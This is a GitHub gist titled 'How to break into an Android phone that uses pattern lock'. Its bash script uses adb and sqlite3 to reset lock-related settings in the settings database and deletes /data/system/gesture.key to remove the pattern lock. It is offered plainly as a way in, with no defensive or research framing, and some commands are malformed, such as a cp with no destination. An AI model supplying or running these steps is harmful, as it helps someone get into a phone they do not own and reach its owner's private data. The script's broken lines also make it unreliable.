Skip to content

Instantly share code, notes, and snippets.

@cmbaughman
Created February 4, 2014 02:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cmbaughman/8796228 to your computer and use it in GitHub Desktop.
Save cmbaughman/8796228 to your computer and use it in GitHub Desktop.
How to break into an Android phone that uses pattern lock...
#!/bin/bash
adb shell
cp /data/data/com.android.providers.settings/databases
sqlite3 settings.db
update system set value=0 where name='lock_pattern_autolock'
update system set value=0 where name='lockscreen.lockedoutpermanently'
#It's good to include this part too.
adb shell rm -f /data/system/gesture.key
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment